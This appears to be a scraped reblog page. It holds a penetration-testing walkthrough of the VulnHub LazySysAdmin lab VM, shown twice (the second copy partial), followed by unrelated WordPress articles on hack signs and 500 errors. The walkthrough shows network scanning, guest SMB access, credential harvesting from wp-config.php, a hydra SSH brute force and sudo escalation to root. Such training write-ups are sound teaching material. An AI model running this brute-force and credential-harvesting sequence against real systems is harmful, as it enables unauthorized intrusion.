Today we’re going to start out training session with a fairly decent image from vulnhub.com – LazySysAdmin: 1. To use this image, just download, unzip and throw it against a running virtualbox. Just be sure to create a host-only network beforehand, so we can find the virtual machine. The system itself will get an IP Adress via DHCP on this network. We’re using vboxnet4 (192.168.60.0/24) here, so just adapt this to your networking. We are also working on a macOS 10.3, so be sure to adapt the used tools to your environment. We used the following tools:

netdiscover

nmap

dirb

THC hydra

If you want to install these tools with Homebrew, just tap brew tap feffi/homebrew-pentest.

$ brew tap feffi/homebrew-pentest

Everything up? OK, let’s start.

Meanwhile somewhere in outer space��

$ sudo netdiscover -i vboxnet4 -f -r 192.168.60.0/24

Currently scanning: Finished! | Our Mac is: DE:AD:BE:EF:DE:AD - 0 1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 1 _________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------- 192.168.60.2 08:00:27:6d:95:4e 1 60 Unknown vendor

Ah, right, 192.168.60.2, thats fine. For the sake of reusing this IP in our tasks, we just shorten it a bit:

$ export ip="192.168.60.2" $ echo $ip

Nice, let’s start a common scanning for services:

$ nmap -sV -sC $ip

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-04 14:20 CET Nmap scan report for 192.168.60.2 Host is up (1.0s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA) | 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA) | 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA) |_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (EdDSA) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-generator: Silex v2.2.7 | http-robots.txt: 4 disallowed entries |_/old/ /test/ /TR2/ /Backnode_files/ |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Backnode 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 3306/tcp open mysql MySQL (unauthorized) 6667/tcp open irc InspIRCd | irc-info: | server: Admin.local | users: 1 | servers: 1 | chans: 0 | lusers: 1 | lservers: 0 | source ident: nmap | source host: 192.168.60.1 |_ error: Closing link: ([email protected]) [Client exited] Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 59m57s, deviation: 0s, median: 59m57s |_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: lazysysadmin | NetBIOS computer name: LAZYSYSADMIN\x00 | Domain name: \x00 | FQDN: lazysysadmin |_ System time: 2017-11-05T00:22:19+10:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2017-11-04 15:22:19 |_ start_date: 1601-01-01 00:53:28

Ok, that’s a lot of surface to cover. Let’s start with the laziest type of service: Samba. As we can see the account guest is authenticated as user, that ist nice. Before we continue, we note down everything that might be a username or password:

$ echo "TR2" >> login.txt $ echo "guest" >> login.txt $ echo "LAZYSYSADMIN" >> login.txt $ echo "lazysysadmin" >> login.txt $ echo "x00" >> login.txt

Let’s chat…

Having a look a the irc deamon …

$ telnet 192.168.60.2 6667 Escape character is '^]' :Admin.local NOTICE Auth :*** Looking up your hostname... >>PASS none :Admin.local NOTICE Auth :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.56.1) instead. >>NICK Bla >>USER blah blah blah blah :Admin.local NOTICE Auth :Welcome to Localnet! :Admin.local 001 Bla :Welcome to the Localnet IRC Network [email protected] :Admin.local 002 Bla :Your host is Admin.local, running version InspIRCd-2.0 :Admin.local 003 Bla :This server was created 14:52:33 Mar 29 2016 :Admin.local 004 Bla Admin.local InspIRCd-2.0 iosw biklmnopstv bklov :Admin.local 005 Bla AWAYLEN=201 CASEMAPPING=rfc1459 CHANMODES=b,k,l,imnpst CHANTYPES=# CHARSET=ascii ELIST=MU FNC KICKLEN=256 MAP MAXBANS=60 MAXCHANNELS=20 MAXPARA=32 MAXTARGETS=20 :are supported by this server :Admin.local 005 Bla MODES=20 NETWORK=Localnet NICKLEN=33 PREFIX=(ov)@+ STATUSMSG=@+ TOPICLEN=308 VBANLIST WALLCHOPS WALLVOICES :are supported by this server :Admin.local 042 Bla 690AAAAAD :your unique I :Admin.local 375 Bla :Admin.local message of the day :Admin.local 372 Bla :- Please edit /etc/inspircd/mot :Admin.local 376 Bla :End of message of the day. :Admin.local 251 Bla :There are 1 users and 0 invisible on 1 servers :Admin.local 254 Bla 0 :channels formed :Admin.local 255 Bla :I have 1 clients and 0 servers :Admin.local 265 Bla :Current Local Users: 1 Max: 1 :Admin.local 266 Bla :Current Global Users: 1 Max: 1

Checking for weaknesses on InspIRCd-2.0 … only DoS and spoofing, no remote access known. Let’s walk on to the next.

Samba, Samba, olê…

Now we can enumerate the Samba shares as guest:

$ nmap -sV --script=smb-enum-shares -p445 $ip

Oh, nice! A guest writeable directory. Maybe we can snoop around…

$ mkdir share $ mount_smbfs //guest:@192.168.60.2/share$ share $ cd share $ tree -L 2 .

. ├── Backnode_files │ ├── AAEAAQAAAAAAAAdJAAAAJDhiNGY1YTk3LTQ3NTctNDE1Ny1hZmU4LTlhMWE4.jpg │ ├── failure-good-thing-fixed.png │ ├── front-end.css │ ├── front-end.js │ ├── jquery-ui.js │ ├── jquery.js │ ├── logo.png │ ├── normalize.css │ ├── pageable.js │ ├── picto1.png │ ├── picto2.png │ ├── picto3.png │ ├── script.json │ ├── styles.css │ └── tumblr_lb4pi2yt1C1qb2xivo1_500.gif ├── apache ├── deets.txt ├── index.html ├── info.php ├── old ├── robots.txt ├── test ├── todolist.txt ├── wordpress │ ├── index.php │ ├── license.txt │ ├── readme.html │ ├── wp-activate.php │ ├── wp-admin │�� ├── wp-blog-header.php │ ├── wp-comments-post.php │ ├── wp-config-sample.php │ ├── wp-config.php │ ├── wp-content │ ├── wp-cron.php │ ├── wp-includes │ ├── wp-links-opml.php │ ├── wp-load.php │ ├── wp-login.php │ ├── wp-mail.php │ ├── wp-settings.php │ ├── wp-signup.php │ ├── wp-trackback.php │ └── xmlrpc.php └── wp

Really? A wordpress installation! Let us check this first.

$ cat wordpress/wp-config.php | grep DB_USER define('DB_USER', 'Admin'); $ cat wordpress/wp-config.php | grep DB_PASSWORD define('DB_PASSWORD', 'TogieMYSQL12345^^'); $ cat wordpress/wp-config.php | grep DB_NAME define('DB_NAME', 'wordpress');

Noted! We got our first username/password combination.

$ echo "deets" >> login.txt $ echo "Admin" >> login.txt $ echo "admin" >> login.txt $ echo "TogieMYSQL12345^^" >> login.txt $ echo "Togie" >> login.txt $ echo "togie" >> login.txt

What else do we get here?

$ cat deets.txt

CBF Remembering all these passwords. Remember to remove this file and update your password after we push out the server. Password 12345

$ echo "CBF" >> login.txt $ echo "12345" >> login.txt

Yeah…sure…we updated it.

$ cat todolist.txt

Prevent users from being able to view to web root using the local file browser

Done. So we got some stuff here, but where to put it?

Land of the Apache

Maybe we should enumerate a little further. We got an website listening on port 80. Spider that:

$ dirb http://$ip

----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Nov 4 14:38:59 2017 URL_BASE: http://192.168.60.2/ WORDLIST_FILES: /usr/local/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.60.2/ ---- ==> DIRECTORY: http://ift.tt/2hvafiO + http://ift.tt/2jlanBV (CODE:200|SIZE:36072) + http://ift.tt/2hw2XeJ (CODE:200|SIZE:77236) ==> DIRECTORY: http://ift.tt/2jlao8X ==> DIRECTORY: http://ift.tt/2hyB3OZ ==> DIRECTORY: http://ift.tt/2jnXDu5 + http://ift.tt/2htorZo (CODE:200|SIZE:92) + http://ift.tt/2jkJEoX (CODE:403|SIZE:292) ==> DIRECTORY: http://ift.tt/2hwIiXI ==> DIRECTORY: http://ift.tt/2jlv7cQ ==> DIRECTORY: http://192.168.60.2/wp/ ... (lots of output)

Ok, by the time dirb is running we got some interesting directories to look at:

http://ift.tt/2hvafiO

http://ift.tt/2hw2XeJ

http://ift.tt/2jnXDu5

http://ift.tt/2jlv7cQ

And some more. We’ve already seen those in the samba-enumeration. Lets try our wordpress then…

$ curl -v http://ift.tt/2jlv7cQ

... My name is togie. My name is togie. My name is togie. My name is togie. ...

mhhh that togie again…mhhh, maybe…we can try ssh…

Serpentine water monster

let us try our already filled login list

$ hydra -t 4 -L login.txt -P login.txt ssh://$ip

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://ift.tt/1cTCuIN) starting at 2017-11-04 20:35:23 [DATA] max 4 tasks per 1 server, overall 4 tasks, 169 login tries (l:13/p:13), ~43 tries per task [DATA] attacking ssh://192.168.60.2:22/ [STATUS] 128.00 tries/min, 128 tries in 00:01h, 41 to do in 00:01h, 4 active [22][ssh] host: 192.168.60.2 login: togie password: 12345 1 of 1 target successfully completed, 1 valid password found Hydra (http://ift.tt/1cTCuIN) finished at 2017-11-04 20:36:42

Nice! So we login using togie and password 12345

$ ssh togie@$ip

################################################################################################## # Welcome to Web_TR1 # # All connections are monitored and recorded # # Disconnect IMMEDIATELY if you are not an authorized user! # ################################################################################################## [email protected]'s password: 12345

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686) * Documentation: http://ift.tt/ABdZxn System information as of Sun Nov 5 02:24:33 AEST 2017 System load: 0.0 Processes: 177 Usage of /: 48.5% of 2.89GB Users logged in: 0 Memory usage: 31% IP address for eth0: 192.168.60.2 Swap usage: 0% Graph this data and manage this system at: http://ift.tt/XlAX5B 133 packages can be updated. 0 updates are security updates. togie@LazySysAdmin:~$

So we got a shell. Let’s enumerate further.

togie@LazySysAdmin:~$ id

uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)

We got sudo…

Flag

$ sudo su - [sudo] password for togie: 12345

root@LazySysAdmin:~# ls -al

total 28 drwx------ 3 root root 4096 Aug 15 23:10 ./ drwxr-xr-x 22 root root 4096 Aug 21 20:10 ../ -rw------- 1 root root 1050 Nov 3 14:45 .bash_history -rw-r--r-- 1 root root 3106 Feb 20 2014 .bashrc drwx------ 2 root root 4096 Aug 14 20:30 .cache/ -rw-r--r-- 1 root root 140 Feb 20 2014 .profile -rw-r--r-- 1 root root 347 Aug 21 19:35 proof.txt

Gotcha!

$ cat proof.txt

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851 Well done :) Hope you learn't a few things along the way. Regards, Togie Mcdogie Enjoy some random strings WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851 2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7 pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02 bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

The post Penetration Test Training – LazySysAdmin: 1 (vanilla style) appeared first on codecentric AG Blog.

Penetration Test Training – LazySysAdmin: 1 (vanilla style) published first on http://ift.tt/2fA8nUr

0 notes

mobilenamic · 8 years ago

Text

Penetration Test Training – LazySysAdmin: 1 (vanilla style)

and Kai Herings

Good morning everyone…

netdiscover

nmap

dirb

THC hydra

If you want to install these tools with Homebrew, just tap brew tap feffi/homebrew-pentest.

$ brew tap feffi/homebrew-pentest

Everything up? OK, let’s start.

Meanwhile somewhere in outer space…

$ sudo netdiscover -i vboxnet4 -f -r 192.168.60.0/24

Ah, right, 192.168.60.2, thats fine. For the sake of reusing this IP in our tasks, we just shorten it a bit:

$ export ip="192.168.60.2" $ echo $ip

Nice, let’s start a common scanning for services:

$ nmap -sV -sC $ip

$ echo "TR2" >> login.txt $ echo "guest" >> login.txt $ echo "LAZYSYSADMIN" >> login.txt $ echo "lazysysadmin" >> login.txt $ echo "x00" >> login.txt

Let’s chat…

Having a look a the irc deamon …

Checking for weaknesses on InspIRCd-2.0 … only DoS and spoofing, no remote access known. Let’s walk on to the next.

Samba, Samba, olê…

Now we can enumerate the Samba shares as guest:

$ nmap -sV --script=smb-enum-shares -p445 $ip

Oh, nice! A guest writeable directory. Maybe we can snoop around…

$ mkdir share $ mount_smbfs //guest:@192.168.60.2/share$ share $ cd share $ tree -L 2 .

. ├── Backnode_files │ ├── AAEAAQAAAAAAAAdJAAAAJDhiNGY1YTk3LTQ3NTctNDE1Ny1hZmU4LTlhMWE4.jpg │ ├── failure-good-thing-fixed.png │ ├── front-end.css │ ├── front-end.js │ ├── jquery-ui.js │ ├── jquery.js │ ├── logo.png │ ├── normalize.css │ ├── pageable.js │ ├── picto1.png │ ├── picto2.png │ ├── picto3.png │ ├── script.json │ ├── styles.css │ └── tumblr_lb4pi2yt1C1qb2xivo1_500.gif ├── apache ├── deets.txt ├── index.html ├── info.php ├── old ├── robots.txt ├── test ├── todolist.txt ├── wordpress │ ├── index.php │ ├── license.txt │ ├── readme.html │ ├── wp-activate.php │ ├── wp-admin │ ├── wp-blog-header.php │ ├── wp-comments-post.php │ ├── wp-config-sample.php │ ├── wp-config.php │ ├── wp-content │ ├── wp-cron.php │ ├── wp-includes │ ├── wp-links-opml.php │ ├── wp-load.php │ ├── wp-login.php │ ├── wp-mail.php │ ├── wp-settings.php │ ├── wp-signup.php │ ├── wp-trackback.php │ └── xmlrpc.php └── wp

Really? A wordpress installation! Let us check this first.

Noted! We got our first username/password combination.

$ echo "deets" >> login.txt $ echo "Admin" >> login.txt $ echo "admin" >> login.txt $ echo "TogieMYSQL12345^^" >> login.txt $ echo "Togie" >> login.txt $ echo "togie" >> login.txt

What else do we get here?

$ cat deets.txt

CBF Remembering all these passwords. Remember to remove this file and update your password after we push out the server. Password 12345

$ echo "CBF" >> login.txt $ echo "12345" >> login.txt

Yeah…sure…we updated it.

$ cat todolist.txt

Prevent users from being able to view to web root using the local file browser

Done. So we got some stuff here, but where to put it?

Land of the Apache

Maybe we should enumerate a little further. We got an website listening on port 80. Spider that:

$ dirb http://$ip

Ok, by the time dirb is running we got some interesting directories to look at:

http://ift.tt/2hvafiO

http://ift.tt/2hw2XeJ

http://ift.tt/2jnXDu5

http://ift.tt/2jlv7cQ

And some more. We’ve already seen those in the samba-enumeration. Lets try our wordpress then…

$ curl -v http://ift.tt/2jlv7cQ

... My name is togie. My name is togie. My name is togie. My name is togie. ...

mhhh that togie again…mhhh, maybe…we can try ssh…

Serpentine water monster

let us try our already filled login list

$ hydra -t 4 -L login.txt -P login.txt ssh://$ip

Nice! So we login using togie and password 12345

$ ssh togie@$ip

So we got a shell. Let’s enumerate further.

togie@LazySysAdmin:~$ id

uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)

We got sudo…

Flag

$ sudo su - [sudo] password for togie: 12345

root@LazySysAdmin:~# ls -al

Gotcha!

$ cat proof.txt

The post Penetration Test Training – LazySysAdmin: 1 (vanilla style) appeared first on codecentric AG Blog.

Penetration Test Training – LazySysAdmin: 1 (vanilla style) published first on http://ift.tt/2vCN0WJ

0 notes

sheilalmartinia · 8 years ago

Text

12 Signs That Your WordPress Site is Hacked

We are often asked what are some signs that indicate a WordPress site is hacked? There are some common telltale signs that may help you figure out if your WordPress site is hacked or compromised. In this article, we will share 12 common signs that your WordPress site is hacked.

1. Sudden Drop in Website Traffic

If you look at your Google Analytics reports and see a sudden drop in traffic, then this could be a sign that your WordPress site is hacked.

There are many malware and trojans out there that hijack your website’s traffic and redirect it to spammy websites. Some of them don’t redirect logged in users which allows them to go unnoticed for a while.

Another reason for the sudden drop in traffic is Google’s safe browsing tool, which might be showing warnings to users regarding your website. Each week, Google blacklists around 20,000 websites for malware and around 50,000 for phishing. That’s why every blogger and business owner needs to pay serious attention to their WordPress security.

You can check your website using the Google’s safe browsing tool to see your safety report.

2. Bad Links Added to Your Website

One of the most common signs among hacked WordPress sites is data injection. Hackers create a backdoor on your WordPress site which gives them access to modify your WordPress files and database.

Some of these hacks add links to spammy websites. Usually these links are added to the footer of your website, but they really could be any where. Deleting the links will not guarantee that they will not come back.

You will need to find and fix the backdoor used to inject this data into your website. See our guide on how to find and fix a backdoor in a hacked WordPress site.

3. Your Site’s Homepage is Defaced

This is probably the most obvious one as it is clearly visible on the homepage of your website. Most hacking attempts do not deface your site’s home page because they want to remain unnoticed for as long as possible.

However, some hackers may deface your website to announce that it has been hacked. Such hackers usually replace your homepage with their own message. Some hackers may even try to extort money from site owners.

4. You are Unable to Login into WordPress

If you are unable to login to your WordPress site, then there is a chance that hackers may have deleted your admin account from WordPress.

Since the account doesn’t exist, you would not be able to reset your password from the login page. There are other ways to add an admin account using phpMyAdmin or via FTP. However, your site will remain unsafe until you figure out how a hacker got into your website.

5. Suspicious User Accounts in WordPress

If your site is open to user registration, and you are not using any spam registration protection, then spam user accounts are just common spam that you can simply delete.

However, if you don’t remember allowing user registration and notice new user accounts in WordPress, then your site is probably hacked.

Usually the suspicious account will have administrator user role, and in some cases you may not be able to delete it from your WordPress admin area.

6. Unknown Files and Scripts on Your Server

If you’re using a site scanner plugin like Sucuri, then it will alert you when it finds an unknown file or script on your server.

You need to connect to your WordPress site using a FTP client. The most common place where you will find malicious files and scripts is the /wp-content/ folder.

Usually, these files are named like WordPress files to hide in plain sight. Deleting these files immediately will not guarantee that these files will not return. You will need to audit the security of your website specially file and directory structure.

7. Your Website is Often Slow or Unresponsive

Any such activity will make your website slow, unresponsive, and unavailable. You will need to check your server logs to see which ips are making too many requests and block them.

It is also possible that your WordPress site is just slow and not hacked. In that case, you need to follow our guide to boost WordPress speed and performance.

8. Unusual Activity in Server Logs

Server logs are plain text files stored on your web server. These files keep record of all errors occurring on your server as well as all your internet traffic.

You can access them from your WordPress hosting account’s cPanel dashboard under statistics.

These server logs can help you understand what’s going on when your WordPress site is under attack. They also contain all the ip addresses used to access your website which allows you to block suspicious ip addresses.

9. Failure to Send or Receive WordPress Emails

If you are unable to send or recieve WordPress emails, then there is a chance that your mail server is hacked to send spam emails.

10. Suspicious Scheduled Tasks

A hacker can exploit cron to run scheduled tasks on your server without you knowing it.

11. Hijacked Search Results

If the search results from your website show incorrect title or meta description, then this is a sign that your WordPress site is hacked.

Looking at your WordPress site, you will still see the correct title and description. The hacker has again exploited a backdoor to inject malicious code which modifies your site data in a way that it is visible only to search engines.

12. Popups or Pop Under Ads on Your Website

They only appear to the users visiting from search engines. Pop under ads open in new window and remain unnoticeable by users.

Securing and Fixing Your Hacked WordPress Site

Cleaning up a hacked WordPress site can be incredibly painful and difficult. This is why we recommend you to let experts clean up your website.

We use Sucuri to protect all our websites. See how Sucuri helped us block 450,000 WordPress attacks in 3 months.

If you want to clean up your site on your own, then take a look at our beginner’s guide on fixing a hacked WordPress site.

You should also check out our ultimate WordPress security guide to follow the best practices and protect your site.

We hope this article helped you look for signs that your WordPress site is hacked. You may also want to see our list of 24 must have WordPress plugins for business websites.

If you liked this article, then please subscribe to our YouTube Channel for WordPress video tutorials. You can also find us on Twitter and Facebook.

The post 12 Signs That Your WordPress Site is Hacked appeared first on WPBeginner.

from WPBeginner http://www.wpbeginner.com/beginners-guide/signs-that-your-wordpress-site-is-hacked/

0 notes

jamiekturner · 8 years ago

Text

How to fix the 500 internal server error

The 500 internal server error is quite common on WordPress websites, and display on all pages because of problems happening in the file system that runs and powers the site.

In most cases, they are caused by corrupted root directories (where most WP files are stored), but there are a number of other hosting issues that can lead to them.

It is important to learn how to deal with this error, mostly because it is frustrating and causes your website’s traffic to drop unexpectedly.

The solutions, unfortunately, are not that straightforward and simple, and take a lot of troubleshooting steps, time, and patience. Nevertheless, we tried to summarize several simple solutions that will eliminate the need to hire professional assistance to deal with this issue.

How are 500 Errors displayed on the website?

500 Internal Server Error

HTTP 500 – Internal Server Error

Temporary Error (500)

Internal Server Error

HTTP 500 Internal Error

500 Error

HTTP Error 500

That’s an error

It is compulsory to back up your data

Regardless of the approach you’ll take to solve this issue, it is a good idea to backup the site to prevent losing data if something goes wrong.

All of the solutions we are about to discuss will require you to change settings in the root directory, which is why it is better to prevent damage.

Checking error logs

It doesn’t matter if you’re dealing with 500 or any other WP error – you should always check the PHP and Apache error logs on the server to make sure nothing is corrupted there.

Plus, these logs help you define what type of code failure caused your website to go down, and consequently provide hints on how to solve the problem.

If working with a Linux server, you can locate the site’s main error log as:

/var/log/httpd/error_log

Owners of multiple sites hosted on a single server should have in mind that they all have individual error logs, all to be found inside the Apache configurations. In most cases, they are placed in the following directory:

/logs/ directory

The longer the error log is, the more challenging it will become to depict the right line, so in case you know the exact name of the problematic script, use this command to search for it:

more /var/log/httpd/error_log | grep [file name]

Instantly, all files named like this will be listed to your attention.

In case you’re not really sure which file to look for, try following the log in a separate window as it is being generated. Use this command in the SSH session:

tail -f /var/log/httpd/error_log

Keep the SSH session open and running, and open the web browser to refresh the problematic page, and to see whether 500 is still there. If it is, it will also appear in the log file.

Check the last ten lines from the error log using the following command:

tail -20 /var/log/httpd/error_log

Now that you know which file is causing the error, you can copy-paste its name on Google and look for helpful solutions.

Corrupted .htaccess files

Most of the time, 500 errors are caused by 2 specific problems: You have either exceeded the PHP memory limits of your website, or you’re working with a corrupted .htaccess file.

The reason why files become corrupted is the installation of a problematic plugin or other recent changes you’ve done on your website. In both cases, you can fix the issue easily: what it takes is to replace that file with a new one.

On the other hand, experiencing PHP memory limit problems means that you’re using too many plugins on the website, or have unfortunately installed such that are poorly coded and cannot handle the growth of your traffic’s website. In both cases, you’ll go beyond the memory limit given by your hosting provider, and 500s will appear on your pages to warn you about it.

How to replace the .htaccess file? Go to WinSCP or FIleZilla to locate the file and delete it. Next, visit the WP admin area, open the Settings section, and choose Permalinks. Go to the bottom of that page and save the changes you’ve made. In case the error is still there, other steps would be to test and increase the given PHP memory.

How to increase your WordPress PHP Memory limits

It is wrong to assume that hosting providers are the only ones limiting our PHP memory, as this is more frequently done by ourselves or by WordPress.

In case you’re beginning to exceed PHP memory, WordPress will react and try to increase it, but it can’t go beyond the thresholds imposed by your host. If you are sharing your server, those limits can be even lower.

In that case, it will be up to you to increase the memory, and then refresh the website to see whether it was the limit that was causing 500 errors to appear.

How can you do this? Go to the root directory and find the wp-config.php file. Once there, right-click on it, and download it on your device. Then, open it in a text editor by choice, and paste the following code below the first PHP tag:

define('WP_MEMORY_LIMIT', '64M');

Save it like that, go back to the directory, and upload it to overwrite the original one. Refresh both the client and the site, and check whether the error is still there. If yes, PHP memory limits were not the cause of your problem, so go back to the original wp-config.php file and upload it back inside the directory.

Plugin deactivation

If the solutions we discussed didn’t work in your case, it might be the time to check plugins and see whether it is one of them that is affecting your website’s performance. It may be a single one or even few of them that don’t play well with each other.

The more plugins you’ve installed, the more difficult and time-consuming it will be to detect the problem, which is why we recommend you to access it deactivating all of them at once.

After you’ve done this, the 500 error should disappear from your pages. Take your time, and reactivate one at a time to see which the problematic plugin that caused the error is. Don’t hesitate to delete it, and contact the author to report the problem.

Re-uploading core files in the root directory

Doing this should always be your last resort, worth a try only when none of the previously mentioned solutions seems to work. What it means is that you need to backup all website data, download a newer, fresh WordPress version, and install it.

Open the ZIP file saved on your device, and extract the files that are inside. Open the root directory via your FTP client, and upload the new wp-includes and wp-admin files to overwrite older versions. Then, refresh both the client and the site, and check whether the error is gone. Unfortunately, if a core file is not what caused the error, you should consider contacting the host for support.

Timed out PHP connections

Owners of PHP scripts that establish external network connections should also have in mind that some of those connections may have timed out.

It usually happens when there are too many connection attempts at once, and the system suffers a 500 error trying to prevent them. In order to avoid such problem, you need to readjust the codes in your PHP script and include session time-out rules.

Generally, it is very difficult to catch time outs while trying to connect to external databases or remote resources (RSS feeds, for instance), as they freeze the script and prevent it from running before notifying you that there is a problem.

Even before you’ve experienced a 500 internal error, try to remove some of the external connections that are not that important, as in such way you will accelerate loading and improve the overall performance of your website.

Contacting the host

Once you’ve tried all of our suggestions but none of them worked, the hosting provider is the only one that can solve your problem.

The reliability and quality of the support you’ll receive depends on the hosting services you’re using, meaning that some of you should seriously consider the possibility of their host shrugging the problem off, and putting blame on your files rather than the server. In some of the cases they will even be right, because they have no access to all plugins and themes that you’ve used on your website.

This is why it is critical to try all local solutions and then explain the host that there is no nook in the file system or an internal error that could cause the website to stop running.

Conclusion

500 internal server errors don’t only affect our website’s performance, but also frustrate us because of not having a clear cause or a solution. One needs to take the long mile to define the issue and then do plenty of troubleshooting, but with all steps listed an explained, this may not be as difficult as you think.

What is definitely a smarter idea is to keep the website in a good condition, and prevent such errors from happening in the first place. A good way to do that is to keep the WP version, core files, and plugins updated, or to make sure that the theme you’re using is compatible with other widgets and website elements.

from Web Development & Designing http://www.designyourway.net/blog/wp/how-to-fix-the-500-internal-server-error/

0 notes